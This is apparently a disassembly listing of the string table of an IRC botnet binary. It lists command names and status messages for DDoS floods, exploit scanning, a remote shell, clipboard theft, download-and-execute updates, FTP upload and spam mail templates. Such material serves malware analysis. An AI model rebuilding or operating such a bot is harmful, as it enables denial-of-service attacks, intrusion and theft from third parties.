aUserhostS	db 'USERHOST %s',0Dh,0Ah,0 ; DATA XREF: sub_40CC09+5701o
		align 4
a_e_1_0bEnz__42	db '.e.(1.0b) ( enz.m.d.l ) ..  User: %s logged in.',0
					; DATA XREF: sub_40CC09+56F4o
		align 4
a_e_1_0bEnz__41	db '.e.(1.0b) ( enz.m.d.l ) ..  Password accepted.',0
					; DATA XREF: sub_40CC09+56D7o
		align 4
a_e_1_0bEnz__40	db '.e.(1.0b) ( enz.m.d.l ) ..  *Failed host auth by: (%s!%s).',0
					; DATA XREF: sub_40CC09+5679o
		align 4
a_e_1_0bEnz__39	db '.e.(1.0b) ( enz.m.d.l ) ..  *Failed pass auth by: (%s!%s).',0
					; DATA XREF: sub_40CC09+5609o
		align 4
aNoticeSYouVeBe	db 'NOTICE %s :You',27h,'ve been logged.',0Dh,0Ah,0
					; DATA XREF: sub_40CC09+55FAo
					; sub_40CC09+566Ao
		align 10h
aNoticeSNiceTry	db 'NOTICE %s :Nice try, idiot. (%s!%s).',0Dh,0Ah,0
					; DATA XREF: sub_40CC09+55E6o
					; sub_40CC09+5656o
		align 4
asc_4316C8:				; DATA XREF: sub_40CC09+55B6o
		unicode	0, <~>,0
a_e_1_0bEnz__38	db '.e.(1.0b) ( enz.m.d.l ) ..  Random nick change: %s',0
					; DATA XREF: sub_40CC09+5565o
		align 4
a_e_1_0bEnz__37	db '.e.(1.0b) ( enz.m.d.l ) ..  Invalid login slot number: %d.',0
					; DATA XREF: sub_40CC09+54ABo
		align 4
a_e_1_0bEnz__36	db '.e.(1.0b) ( enz.m.d.l ) ..  No user logged in at slot: %d.',0
					; DATA XREF: sub_40CC09+54A3o
		align 4
a_e_1_0bSocks_0	db '.e.(1.0b) ( socks.m.d.l ) ..  Failed to start server thread, er'
					; DATA XREF: sub_40CC09+544Eo
		db 'ror: <%d>.',0
a_e_1_0bSocks_m	db '.e.(1.0b) ( socks.m.d.l ) ..  Server started on: %s:%d.',0
					; DATA XREF: sub_40CC09+53DFo
		align 4
a_p_ro_c___	db '.p.ro.c...',0       ; DATA XREF: sub_40CC09+532Co
		align 4
aProcessList	db 'Process list',0     ; DATA XREF: sub_40CC09+5327o
		align 4
a_e_1_0bEnz__35	db '.e.(1.0b) ( enz.m.d.l ) ..  Reconnecting.',0
					; DATA XREF: sub_40CC09+52F4o
aQuitReconnecti	db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: sub_40CC09:loc_411EF0o
		align 4
a_e_1_0bEnz__34	db '.e.(1.0b) ( enz.m.d.l ) ..  Disconnecting.',0
					; DATA XREF: sub_40CC09+52D2o
		align 4
aQuitDisconnect	db 'QUIT :disconnecting',0Dh,0Ah,0 ; DATA XREF: sub_40CC09:loc_411ECEo
		align 4
aQuitS		db 'QUIT :%s',0Dh,0Ah,0 ; DATA XREF: sub_40CC09+529Do
		align 10h
a_e_1_0bEnz__33	db '.e.(1.0b) ( enz.m.d.l ) ..  Status: Ready. Bot Uptime: %s.',0
					; DATA XREF: sub_40CC09+5251o
		align 10h
a_e_1_0bEnz__32	db '.e.(1.0b) ( enz.m.d.l ) ..  Bot ID: %s.',0
					; DATA XREF: sub_40CC09+5213o
		align 4
a_e_1_0bThrea_4	db '.e.(1.0b) ( threads.m.d.l ) ..  Failed to start list thread, er'
					; DATA XREF: sub_40CC09+51E8o
		db 'ror: <%d>.',0
a_e_1_0bThrea_3	db '.e.(1.0b) ( threads.m.d.l ) ..  List threads.',0
					; DATA XREF: sub_40CC09+517Do
off_4319A8	dd offset byte_627573	; DATA XREF: sub_40CC09+5157o
a_e_1_0bEnz__31	db '.e.(1.0b) ( enz.m.d.l ) ..  Alias list.',0
					; DATA XREF: sub_40CC09+5108o
		align 4
a_e_1_0bLog_m_0	db '.e.(1.0b) ( log.m.d.l ) ..  Failed to start listing thread, err'
					; DATA XREF: sub_40CC09+50EDo
		db 'or: <%d>.',0
		align 4
a_e_1_0bLog_m_d	db '.e.(1.0b) ( log.m.d.l ) ..  Listing log.',0
					; DATA XREF: sub_40CC09+5060o
		align 10h
a_e_1_0bEnz__30	db '.e.(1.0b) ( enz.m.d.l ) ..  Network Info.',0
					; DATA XREF: sub_40CC09+4FDFo
a_e_1_0bEnz__29	db '.e.(1.0b) ( enz.m.d.l ) ..  System Info.',0
					; DATA XREF: sub_40CC09+4FB0o
		align 4
a_e_1_0bEnz__28	db '.e.(1.0b) ( enz.m.d.l ) ..  Removing Bot.',0
					; DATA XREF: sub_40CC09+4F5Bo
a_e_1_0bProce_7	db '.e.(1.0b) ( process.m.d.l ) ..  Failed to start listing thread,'
					; DATA XREF: sub_40CC09+4F2Do
		db ' error: <%d>.',0
		align 4
a_e_1_0bProce_6	db '.e.(1.0b) ( process.m.d.l ) ..  Proccess list.',0
					; DATA XREF: sub_40CC09+4EC2o
		align 4
aFull		db 'full',0             ; DATA XREF: sub_40CC09+4EA2o
		align 10h
a_e_1_0bProce_5	db '.e.(1.0b) ( process.m.d.l ) ..  Already running.',0
					; DATA XREF: sub_40CC09+4E4Bo
		align 4
a_e_1_0bEnz__27	db '.e.(1.0b) ( enz.m.d.l ) ..  Uptime: %s.',0
					; DATA XREF: sub_40CC09+4DFDo
		align 10h
a_e_1_0bCmd_m_3	db '.e.(1.0b) ( cmd.m.d.l ) ..  Remote shell ready.',0
					; DATA XREF: sub_40CC09:loc_411944o
		align 4
a_e_1_0bCmd_m_2	db '.e.(1.0b) ( cmd.m.d.l ) ..  Couldn',27h,'t open remote shell.',0
					; DATA XREF: sub_40CC09+4D34o
		align 10h
a_e_1_0bCmd_m_1	db '.e.(1.0b) ( cmd.m.d.l ) ..  Remote shell already running.',0
					; DATA XREF: sub_40CC09+4D18o
a_e_1_0bEnz__26	db '.e.(1.0b) ( enz.m.d.l ) ..  Get Clipboard.',0
					; DATA XREF: sub_40CC09+4D02o
		align 4
aClipboardData	db '-[Clipboard Data]-',0 ; DATA XREF: sub_40CC09+4CD4o
		align 10h
a_e_1_0bFlush_3	db '.e.(1.0b) ( flushdns.m.d.l ) ..  Failed to flush ARP cache.',0
					; DATA XREF: sub_40CC09:loc_4118B9o
		align 10h
a_e_1_0bFlush_2	db '.e.(1.0b) ( flushdns.m.d.l ) ..  ARP cache flushed.',0
					; DATA XREF: sub_40CC09+4CA9o
		align 4
a_e_1_0bFlush_1	db '.e.(1.0b) ( flushdns.m.d.l ) ..  Failed to load dnsapi.dll.',0
					; DATA XREF: sub_40CC09:loc_4118A2o
		align 4
a_e_1_0bFlush_0	db '.e.(1.0b) ( flushdns.m.d.l ) ..  Failed to flush DNS cache.',0
					; DATA XREF: sub_40CC09:loc_41189Bo
		align 4
a_e_1_0bFlushdn	db '.e.(1.0b) ( flushdns.m.d.l ) ..  DNS cache flushed.',0
					; DATA XREF: sub_40CC09+4C8Bo
		align 10h
a_e_1_0bHttpd_0	db '.e.(1.0b) ( httpd.m.d.l ) ..  Failed to start server thread, er'
					; DATA XREF: sub_40CC09+4C1Bo
		db 'ror: <%d>.',0
a_e_1_0bHttpd_m	db '.e.(1.0b) ( httpd.m.d.l ) ..  Server listening on IP: %s:%d, Di'
					; DATA XREF: sub_40CC09+4BB0o
		db 'rectory: %s\.',0
		align 4
a_e_1_0bTftpd_1	db '.e.(1.0b) ( tftpd.m.d.l ) ..  Failed to start server thread, er'
					; DATA XREF: sub_40CC09+4AA9o
		db 'ror: <%d>.',0
a_e_1_0bTftpd_0	db '.e.(1.0b) ( tftpd.m.d.l ) ..  Server started on Port: %d, File:'
					; DATA XREF: sub_40CC09+4A3Ao
		db ' %s, Request: %s.',0
		align 4
a_e_1_0bTftpd_m	db '.e.(1.0b) ( tftpd.m.d.l ) ..  Already running.',0
					; DATA XREF: sub_40CC09+4973o
		align 10h
a_e_1_0bExplo_4	db '.e.(1.0b) ( exploit.m.d.l ) ..  Failed to start scan, port is i'
					; DATA XREF: sub_40CC09:loc_411566o
		db 'nvalid.',0
		align 4
a_e_1_0bExplo_3	db '.e.(1.0b) ( exploit.m.d.l ) ..  %s Port Scan started on %s:%d w'
					; DATA XREF: sub_40CC09+489Eo
		db 'ith a delay of %d seconds for %d minutes using %d threads.',0
a_e_1_0bEnz__25	db '.e.(1.0b) ( enz.m.d.l ) ..  Nick changed to: ',27h,'%s',27h,'.',0
					; DATA XREF: sub_40CC09+465Eo
		align 10h
a_e_1_0bEnz__24	db '.e.(1.0b) ( enz.m.d.l ) ..  Joined channel: ',27h,'%s',27h,'.',0
					; DATA XREF: sub_40CC09+4645o
a_e_1_0bEnz__23	db '.e.(1.0b) ( enz.m.d.l ) ..  Parted channel: ',27h,'%s',27h,'.',0
					; DATA XREF: sub_40CC09+4625o
a_e_1_0bEnz__22	db '.e.(1.0b) ( enz.m.d.l ) ..  IRC Raw: %s.',0
					; DATA XREF: sub_40CC09+460Co
		align 4
a_e_1_0bThrea_2	db '.e.(1.0b) ( threads.m.d.l ) ..  Failed to kill thread: %s.',0
					; DATA XREF: sub_40CC09:loc_411197o
		align 4
a_e_1_0bThrea_1	db '.e.(1.0b) ( threads.m.d.l ) ..  Killed thread: %s.',0
					; DATA XREF: sub_40CC09+4587o
		align 4
a_e_1_0bThrea_0	db '.e.(1.0b) ( threads.m.d.l ) ..  No active threads found.',0
					; DATA XREF: sub_40CC09:loc_41114Ao
		align 4
a_e_1_0bThreads	db '.e.(1.0b) ( threads.m.d.l ) ..  Stopped: %d thread(s).',0
					; DATA XREF: sub_40CC09+4528o
		align 4
off_4321D4	dd offset byte_6C6C61	; DATA XREF: sub_40CC09+450Eo
aQuitLater	db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: sub_40CC09+4483o
					; sub_40CC09:loc_411EB8o
		align 4
a_e_1_0bEnz__21	db '.e.(1.0b) ( enz.m.d.l ) ..  Prefix changed to: ',27h,'%c',27h,'.',0
					; DATA XREF: sub_40CC09+440Do
		align 10h
a_e_1_0bShell_0	db '.e.(1.0b) ( shell.m.d.l ) ..  Couldn',27h,'t open file: %s',0
					; DATA XREF: sub_40CC09:loc_411001o
		align 4
a_e_1_0bShell_m	db '.e.(1.0b) ( shell.m.d.l ) ..  File opened: %s',0
					; DATA XREF: sub_40CC09+43EEo
a_e_1_0bEnz__20	db '.e.(1.0b) ( enz.m.d.l ) ..  Server changed to: ',27h,'%s',27h,'.',0
					; DATA XREF: sub_40CC09+43C5o
		align 10h
a_e_1_0bDns_m_0	db '.e.(1.0b) ( dns.m.d.l ) ..  Couldn',27h,'t resolve hostname.',0
					; DATA XREF: sub_40CC09:loc_410FA4o
		align 4
a_e_1_0bDns_m_d	db '.e.(1.0b) ( dns.m.d.l ) ..  Lookup: %s -> %s.',0
					; DATA XREF: sub_40CC09+436Do
a_e_1_0bProce_4	db '.e.(1.0b) ( process.m.d.l ) ..  Failed to terminate process: %s'
					; DATA XREF: sub_40CC09:loc_410F42o
		db 0
		align 10h
a_e_1_0bProce_3	db '.e.(1.0b) ( process.m.d.l ) ..  Process killed: %s',0
					; DATA XREF: sub_40CC09+432Fo
		align 4
a_e_1_0bProce_2	db '.e.(1.0b) ( process.m.d.l ) ..  Failed to terminate process ID:'
					; DATA XREF: sub_40CC09:loc_410EE2o
		db ' %s',0
		align 10h
a_e_1_0bProce_1	db '.e.(1.0b) ( process.m.d.l ) ..  Process killed ID: %s',0
					; DATA XREF: sub_40CC09+42D2o
a_e_1_0bFile__2	db '.e.(1.0b) ( file.m.d.l ) ..  Deleted ',27h,'%s',27h,'.',0
					; DATA XREF: sub_40CC09+4291o
		align 4
a_e_1_0bDcc_m_6	db '.e.(1.0b) ( dcc.m.d.l ) ..  Send File: %s, User: %s.',0
					; DATA XREF: sub_40CC09+420Co
		align 10h
a_e_1_0bFile__1	db '.e.(1.0b) ( file.m.d.l ) ..  List: %s',0 ; DATA XREF: sub_40CC09+419Ao
a_e_1_0bMirc__0	db '.e.(1.0b) ( mirc.m.d.l ) ..  Command sent.',0
					; DATA XREF: sub_40CC09:loc_410D88o
		align 4
a_e_1_0bMirc_m_	db '.e.(1.0b) ( mirc.m.d.l ) ..  Client not open.',0
					; DATA XREF: sub_40CC09+4175o
a_e_1_0bCmd_m_0	db '.e.(1.0b) ( cmd.m.d.l ) ..  Commands: %s',0
					; DATA XREF: sub_40CC09+4144o
		align 4
a_e_1_0bCmd_m_d	db '.e.(1.0b) ( cmd.m.d.l ) ..  Error sending to remote shell.',0
					; DATA XREF: sub_40CC09+4139o
		align 4
a_e_1_0bEnz__19	db '.e.(1.0b) ( enz.m.d.l ) ..  Read file failed: %s',0
					; DATA XREF: sub_40CC09+40F9o
		align 4
a_e_1_0bEnz__18	db '.e.(1.0b) ( enz.m.d.l ) ..  Read file complete: %s',0
					; DATA XREF: sub_40CC09+40E5o
		align 10h
aR:					; DATA XREF: sub_40CC09:loc_410C87o
		unicode	0, <r>,0
a_e_1_0bEnz__17	db '.e.(1.0b) ( enz.m.d.l ) ..  Gethost: %s.',0
					; DATA XREF: sub_40CC09+4060o
		align 10h
a_e_1_0bEnz__16	db '.e.(1.0b) ( enz.m.d.l ) ..  Unable to extract Gethost command.',0
					; DATA XREF: sub_40CC09+4025o
		align 4
a_e_1_0bEnz__15	db '.e.(1.0b) ( enz.m.d.l ) ..  Gethost: %s, Command: %s',0
					; DATA XREF: sub_40CC09+4009o
		align 4
a_e_1_0bEnz__14	db '.e.(1.0b) ( enz.m.d.l ) ..  Alias added: %s.',0
					; DATA XREF: sub_40CC09+3F87o
		align 4
a_e_1_0bEnz__13	db '.e.(1.0b) ( enz.m.d.l ) ..  Privmsg: %s: %s.',0
					; DATA XREF: sub_40CC09+3F4Co
		align 4
a_e_1_0bEnz__12	db '.e.(1.0b) ( enz.m.d.l ) ..  Action: %s: %s.',0
					; DATA XREF: sub_40CC09+3EF6o
		align 4
a_e_1_0bEnz__11	db '.e.(1.0b) ( enz.m.d.l ) ..  Cycle.',0 ; DATA XREF: sub_40CC09+3E8Eo
		align 4
aPartS_0	db 'PART %s',0Dh,0Ah,0  ; DATA XREF: sub_40CC09+3E54o
					; sub_40CC09+4617o
		align 10h
a_e_1_0bEnz__10	db '.e.(1.0b) ( enz.m.d.l ) ..  Mode change: %s',0
					; DATA XREF: sub_40CC09+3E25o
		align 10h
aModeS_0	db 'MODE %s',0Dh,0Ah,0  ; DATA XREF: sub_40CC09+3E17o
		align 4
a_e_1_0bClone_2	db '.e.(1.0b) ( clone.m.d.l ) ..  Raw (%s): %s',0
					; DATA XREF: sub_40CC09+3DEEo
		align 4
a_e_1_0bClone_1	db '.e.(1.0b) ( clone.m.d.l ) ..  Mode (%s): %s',0
					; DATA XREF: sub_40CC09+3D83o
		align 4
aModeS		db 'MODE %s',0          ; DATA XREF: sub_40CC09+3D2Eo
a_e_1_0bClone_m	db '.e.(1.0b) ( clone.m.d.l ) ..  Nick (%s): %s',0
					; DATA XREF: sub_40CC09+3CF9o
		align 4
aNickS_0	db 'NICK %s',0          ; DATA XREF: sub_40CC09+3CA3o
					; sub_40CC09+444Fo
aJoinSS_0	db 'JOIN %s %s',0       ; DATA XREF: sub_40CC09+3C84o
		align 4
aS_5		db '%s',0Dh,0Ah,0       ; DATA XREF: sub_40CC09+3C4Fo
					; sub_40CC09+3CD8o ...
		align 10h
aPartS		db 'PART %s',0          ; DATA XREF: sub_40CC09+3C1Ao
a_e_1_0bEnz_m_9	db '.e.(1.0b) ( enz.m.d.l ) ..  Repeat not allowed in command line:'
					; DATA XREF: sub_40CC09:loc_410810o
		db ' %s',0
		align 10h
a_e_1_0bEnz_m_8	db '.e.(1.0b) ( enz.m.d.l ) ..  Repeat: %s',0
					; DATA XREF: sub_40CC09+3BD0o
		align 4
aRepeat		db 'repeat',0           ; DATA XREF: sub_40CC09+3B7Fo
		align 4
a_e_1_0bEnz_m_7	db '.e.(1.0b) ( enz.m.d.l ) ..  Delay.',0
					; DATA XREF: sub_40CC09:loc_410740o
		align 4
aSSSS		db '%s %s %s :%s',0     ; DATA XREF: sub_40CC09+3AF7o
					; sub_40CC09+3BAAo ...
		align 4
a_e_1_0bUpdat_1	db '.e.(1.0b) ( update.m.d.l ) ..  Bot ID must be different than cu'
					; DATA XREF: sub_40CC09:loc_41067Do
		db 'rrent running process.',0
a_e_1_0bUpdat_0	db '.e.(1.0b) ( update.m.d.l ) ..  Failed to start download thread,'
					; DATA XREF: sub_40CC09+3A5Eo
		db ' error: <%d>.',0
		align 4
a_e_1_0bUpdate_	db '.e.(1.0b) ( update.m.d.l ) ..  Downloading update from: %s.',0
					; DATA XREF: sub_40CC09+39F3o
		align 4
aSS_exe		db '%s%s.exe',0         ; DATA XREF: sub_40CC09+394Do
		align 10h
a_e_1_0bExec__0	db '.e.(1.0b) ( exec.m.d.l ) ..  Commands: %s',0
					; DATA XREF: sub_40CC09+38EEo
a_e_1_0bExec_m_	db '.e.(1.0b) ( exec.m.d.l ) ..  Couldn',27h,'t execute file.',0
					; DATA XREF: sub_40CC09+38E3o
		align 4
a_e_1_0bFile__0	db '.e.(1.0b) ( file.m.d.l ) .. ',0 ; DATA XREF: sub_40CC09:loc_410417o
					; sub_40CC09:loc_410EA1o
		align 4
a_e_1_0bFile_m_	db '.e.(1.0b) ( file.m.d.l ) ..  Rename: ',27h,'%s',27h,' to: ',27h,'%s',27h,'.'
					; DATA XREF: sub_40CC09+37F9o
		db 0
		align 4
a_e_1_0bIcmp__1	db '.e.(1.0b) ( icmp.m.d.l ) ..  Invalid flood time must be greater'
					; DATA XREF: sub_40CC09:loc_4103E0o
		db ' than 0.',0
		align 4
a_e_1_0bIcmp__0	db '.e.(1.0b) ( icmp.m.d.l ) ..  Failed to start flood thread, erro'
					; DATA XREF: sub_40CC09+37CDo
		db 'r: <%d>.',0
		align 4
a_e_1_0bIcmp_m_	db '.e.(1.0b) ( icmp.m.d.l ) ..  Flooding: (%s) for %s seconds.',0
					; DATA XREF: sub_40CC09+3753o
		align 4
a_e_1_0bClone_0	db '.e.(1.0b) ( clones.m.d.l ) ..  Failed to start clone thread, er'
					; DATA XREF: sub_40CC09+36DCo
		db 'ror: <%d>.',0
a_e_1_0bClones_	db '.e.(1.0b) ( clones.m.d.l ) ..  Created on %s:%d, in channel %s.'
					; DATA XREF: sub_40CC09+366Do
		db 0
		align 4
a_e_1_0bDdos__0	db '.e.(1.0b) ( ddos.m.d.l ) ..  Failed to start flood thread, erro'
					; DATA XREF: sub_40CC09+35E5o
		db 'r: <%d>.',0
		align 10h
a_e_1_0bDdos_m_	db '.e.(1.0b) ( ddos.m.d.l ) ..  Flooding: (%s:%s) for %s seconds.',0
					; DATA XREF: sub_40CC09+356Do
		align 4
a_e_1_0bSyn_m_0	db '.e.(1.0b) ( syn.m.d.l ) ..  Failed to start flood thread, error'
					; DATA XREF: sub_40CC09+34D8o
		db ': <%d>.',0
		align 10h
a_e_1_0bSyn_m_d	db '.e.(1.0b) ( syn.m.d.l ) ..  Flooding: (%s:%s) for %s seconds.',0
					; DATA XREF: sub_40CC09+345Eo
a_e_1_0bDownl_0	db '.e.(1.0b) ( download.m.d.l ) ..  Failed to start transfer threa'
					; DATA XREF: sub_40CC09+33EEo
		db 'd, error: <%d>.',0
		align 4
a_e_1_0bDownloa	db '.e.(1.0b) ( download.m.d.l ) ..  Downloading URL: %s to: %s.',0
					; DATA XREF: sub_40CC09+337Fo
		align 4
a_e_1_0bRedir_0	db '.e.(1.0b) ( redirect.m.d.l ) ..  Failed to start redirection th'
					; DATA XREF: sub_40CC09+32B0o
		db 'read, error: <%d>.',0
a_e_1_0bRedirec	db '.e.(1.0b) ( redirect.m.d.l ) ..  TCP redirect created from: %s:'
					; DATA XREF: sub_40CC09+3241o
		db '%d to: %s:%d.',0
		align 4
a_e_1_0bPorts_0	db '.e.(1.0b) ( portscan.m.d.l ) ..  Failed to start scan thread, e'
					; DATA XREF: sub_40CC09+31B6o
		db 'rror: <%d>.',0
		align 4
a_e_1_0bPortsca	db '.e.(1.0b) ( portscan.m.d.l ) ..  Port scan started: %s:%d with '
					; DATA XREF: sub_40CC09+3147o
		db 'delay: %d(ms).',0
aSSS_2		db '[%s] <%s> %s',0     ; DATA XREF: sub_40CC09+30C3o
		align 4
aSSS_1		db '[%s] * %s %s',0     ; DATA XREF: sub_40CC09+2FC6o
		align 4
dword_432F38	dd 54434101h, 204E4F49h, 17325h					; sub_40CC09+3ED7o
a_e_1_0bExplo_2	db '.e.(1.0b) ( exploit.m.d.l ) ..  Failed to start scan thread, er'
					; DATA XREF: sub_40CC09+2ED9o
					; sub_40CC09+490Fo
		db 'ror: <%d>.',0
a_e_1_0bExplo_1	db '.e.(1.0b) ( exploit.m.d.l ) ..  %s Exploitation started on %s:%'
					; DATA XREF: sub_40CC09+2E6Ao
		db 'd waiting %d seconds for %d minutes using %d threads.',0
		align 4
aSequential	db 'Sequential',0       ; DATA XREF: sub_40CC09+2E3Fo
					; sub_40CC09+4873o
		align 4
aRandom_0	db 'Random',0           ; DATA XREF: sub_40CC09+2E38o
					; sub_40CC09+486Co
		align 4
a_e_1_0bExplo_0	db '.e.(1.0b) ( exploit.m.d.l ) ..  Failed to start scan, no IP spe'
					; DATA XREF: sub_40CC09+2CFAo
		db 'cified.',0
		align 4
a_e_1_0bExploit	db '.e.(1.0b) ( exploit.m.d.l ) ..  Already %d scanning threads. To'
					; DATA XREF: sub_40CC09+2BB1o
					; sub_40CC09+46B7o
		db 'o many specified.',0
		align 4
a_e_1_0bUdp_m_0	db '.e.(1.0b) ( udp.m.d.l ) ..  Failed to start flood thread, error'
					; DATA XREF: sub_40CC09+2B80o
		db ': <%d>.',0
		align 4
a_e_1_0bUdp_m_d	db '.e.(1.0b) ( udp.m.d.l ) ..  Sending %d packets to: %s. Packet s'
					; DATA XREF: sub_40CC09+2B11o
		db 'ize: %d, Delay: %d(ms).',0
		align 4
aIcmp_dllNotAva	db 'ICMP.dll not available',0 ; DATA XREF: sub_40CC09+2A3Co
		align 4
a_e_1_0bPing__0	db '.e.(1.0b) ( ping.m.d.l ) ..  Failed to start flood thread, erro'
					; DATA XREF: sub_40CC09+2A27o
		db 'r: <%d>.',0
		align 4
a_e_1_0bPing_m_	db '.e.(1.0b) ( ping.m.d.l ) ..  Sending %d pings to %s. packet siz'
					; DATA XREF: sub_40CC09+29BCo
		db 'e: %d, timeout: %d(ms).',0
		align 4
a_e_1_0bTcp_m_2	db '.e.(1.0b) ( tcp.m.d.l ) ..  Invalid flood time must be greater '
					; DATA XREF: sub_40CC09:loc_40F528o
		db 'than 0.',0
		align 10h
a_e_1_0bTcp_m_1	db '.e.(1.0b) ( tcp.m.d.l ) ..  Failed to start flood thread, error'
					; DATA XREF: sub_40CC09+2915o
		db ': <%d>.',0
		align 4
a_e_1_0bTcp_m_0	db '.e.(1.0b) ( tcp.m.d.l ) ..  %s %s flooding: (%s:%s) for %s seco'
					; DATA XREF: sub_40CC09+289Bo
		db 'nds.',0
		align 4
aNormal		db 'Normal',0           ; DATA XREF: sub_40CC09+288Bo
		align 4
aSpoofed	db 'Spoofed',0          ; DATA XREF: sub_40CC09+2884o
a_e_1_0bTcp_m_d	db '.e.(1.0b) ( tcp.m.d.l ) ..  Invalid flood type specified.',0
					; DATA XREF: sub_40CC09+27EFo
a_e_1_0bFtp_m_1	db '.e.(1.0b) ( ftp.m.d.l ) ..  Uploading file: %s to: %s failed.',0
					; DATA XREF: sub_40CC09:loc_40F310o
a_e_1_0bFtp_m_0	db '.e.(1.0b) ( ftp.m.d.l ) ..  Uploading file: %s to: %s',0
					; DATA XREF: sub_40CC09+2700o
aFtp_exe	db 'ftp.exe',0          ; DATA XREF: sub_40CC09+26E9o
aSS_5		db '-s:%s',0            ; DATA XREF: sub_40CC09+26D2o
		align 4
aOpenSSSSPutSBy	db 'open %s',0Dh,0Ah    ; DATA XREF: sub_40CC09+26B2o
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db 'put %s',0Dh,0Ah
		db 'bye',0Dh,0Ah,0
		align 4
aAb		db 'ab',0               ; DATA XREF: sub_40CC09+268Eo
		align 10h
aSIII_dll	db '%s\%i%i%i.dll',0    ; DATA XREF: sub_40CC09+267Do
		align 10h
a_e_1_0bFtp_m_d	db '.e.(1.0b) ( ftp.m.d.l ) ..  File not found: %s.',0
					; DATA XREF: sub_40CC09+2633o
		align 4
aFtp_upload	db 'ftp.upload',0       ; DATA XREF: sub_40CC09+2610o
		align 10h
aUtil_hcon	db 'util.hcon',0        ; DATA XREF: sub_40CC09+25EDo
		align 4
aUtil_httpcon	db 'util.httpcon',0     ; DATA XREF: sub_40CC09+25D6o
		align 4
a_1514enz10b_2_	db '.15,14enz10b .2.. .15(email.2..15mod) .2.15  Message sent to %s.'
					; DATA XREF: sub_40CC09+2595o
		db 0
		align 10h
aHeloRndnickMai	db 'helo $rndnick',0Ah  ; DATA XREF: sub_40CC09+2521o
		db 'mail from: <%s>',0Ah
		db 'rcpt to: <%s>',0Ah
		db 'data',0Ah
		db 'subject: %s',0Ah
		db 'from: %s',0Ah
		db '%s',0Ah
		db '.',0Ah,0
a__0:					; DATA XREF: sub_40CC09+2485o
		unicode	0, <_>,0
aUtil_email	db 'util.email',0       ; DATA XREF: sub_40CC09+2436o
		align 4
off_43350C	dd offset byte_617375	; DATA XREF: sub_40CC09+241Fo
aDdos_tcpflood	db 'ddos.tcpflood',0    ; DATA XREF: sub_40CC09+2408o
		align 10h
aPg		db 'pg',0               ; DATA XREF: sub_40CC09+23F1o
		align 4
aDdos_pingf	db 'ddos.pingf',0       ; DATA XREF: sub_40CC09+23DAo
		align 10h
aDdos_pingflood	db 'ddos.pingflood',0   ; DATA XREF: sub_40CC09+23C3o
		align 10h
aPu		db 'pu',0               ; DATA XREF: sub_40CC09+23ACo
		align 4
aDdos_udpf	db 'ddos.udpf',0        ; DATA XREF: sub_40CC09+2395o
		align 10h
aDdos_udpflood	db 'ddos.udpflood',0    ; DATA XREF: sub_40CC09+237Eo
		align 10h
aVuln_start	db 'vuln.start',0       ; DATA XREF: sub_40CC09+2350o
		align 4
aClone_ac	db 'clone.ac',0         ; DATA XREF: sub_40CC09+2327o
		align 4
aClone_action	db 'clone.action',0     ; DATA XREF: sub_40CC09+2310o
		align 4
aClone_pm	db 'clone.pm',0         ; DATA XREF: sub_40CC09+22F9o
		align 4
aClone_privmsg	db 'clone.privmsg',0    ; DATA XREF: sub_40CC09+22E2o
		align 4
aEnz_ps		db 'enz.ps',0           ; DATA XREF: sub_40CC09+22CBo
		align 4
aEnz_portscan	db 'enz.portscan',0     ; DATA XREF: sub_40CC09+22B4o
		align 4
aServer_rd_on	db 'server.rd.on',0     ; DATA XREF: sub_40CC09+229Do
		align 4
aServer_redir_0	db 'server.redirect.on',0 ; DATA XREF: sub_40CC09+2286o
		align 10h
aD1		db 'd1',0               ; DATA XREF: sub_40CC09+226Fo
		align 4
aDownload_fromw	db 'download.fromwww',0 ; DATA XREF: sub_40CC09+2258o
		align 4
aSy1		db 'sy1',0              ; DATA XREF: sub_40CC09+2241o
aDdos_synflood	db 'ddos.synflood',0    ; DATA XREF: sub_40CC09+222Ao
		align 4
aDs_rm		db 'ds.rm',0            ; DATA XREF: sub_40CC09+2213o
		align 4
aDs_ack		db 'ds.ack',0           ; DATA XREF: sub_40CC09+21FCo
		align 4
aDs_sy1		db 'ds.sy1',0           ; DATA XREF: sub_40CC09+21E5o
		align 4
aClone_start	db 'clone.start',0      ; DATA XREF: sub_40CC09+21CEo
aClone_make	db 'clone.make',0       ; DATA XREF: sub_40CC09+21B7o
		align 4
aDdos_ic	db 'ddos.ic',0          ; DATA XREF: sub_40CC09+218Eo
aDdos_icmp	db 'ddos.icmp',0        ; DATA XREF: sub_40CC09+2177o
		align 10h
aBox_mv		db 'box.mv',0           ; DATA XREF: sub_40CC09+2160o
		align 4
aBox_rename	db 'box.rename',0       ; DATA XREF: sub_40CC09+2149o
		align 4
aBox_e		db 'box.e',0            ; DATA XREF: sub_40CC09+2132o
		align 4
aBox_execute	db 'box.execute',0      ; DATA XREF: sub_40CC09+211Bo
aDownload_upz	db 'download.upz',0     ; DATA XREF: sub_40CC09+2104o
		align 4
aDownload_updiz	db 'download.updiz',0   ; DATA XREF: sub_40CC09+20EDo
		align 4
aEnz_de		db 'enz.de',0           ; DATA XREF: sub_40CC09+20D6o
		align 10h
aEnz_delay	db 'enz.delay',0        ; DATA XREF: sub_40CC09+20BFo
		align 4
aEnz_rp		db 'enz.rp',0           ; DATA XREF: sub_40CC09+20A8o
		align 4
aEnz_repeat	db 'enz.repeat',0       ; DATA XREF: sub_40CC09+2091o
		align 10h
aClone_p	db 'clone.p',0          ; DATA XREF: sub_40CC09+207Ao
aClone_part	db 'clone.part',0       ; DATA XREF: sub_40CC09+2063o
		align 4
aClone_j	db 'clone.j',0          ; DATA XREF: sub_40CC09+204Co
aClone_join	db 'clone.join',0       ; DATA XREF: sub_40CC09+2035o
		align 4
aClone_ni	db 'clone.ni',0         ; DATA XREF: sub_40CC09+201Eo
		align 4
aClone_nick	db 'clone.nick',0       ; DATA XREF: sub_40CC09+2007o
		align 10h
aClone_m	db 'clone.m',0          ; DATA XREF: sub_40CC09+1FF0o
aClone_mode	db 'clone.mode',0       ; DATA XREF: sub_40CC09+1FD9o
		align 4
aClone_ra	db 'clone.ra',0         ; DATA XREF: sub_40CC09+1FC2o
		align 10h
aClone_raw	db 'clone.raw',0        ; DATA XREF: sub_40CC09+1FABo
		align 4
aEnz_m		db 'enz.m',0            ; DATA XREF: sub_40CC09+1F94o
		align 4
aEnz_mode	db 'enz.mode',0         ; DATA XREF: sub_40CC09+1F7Do
		align 10h
aEnz_cy		db 'enz.cy',0           ; DATA XREF: sub_40CC09+1F66o
		align 4
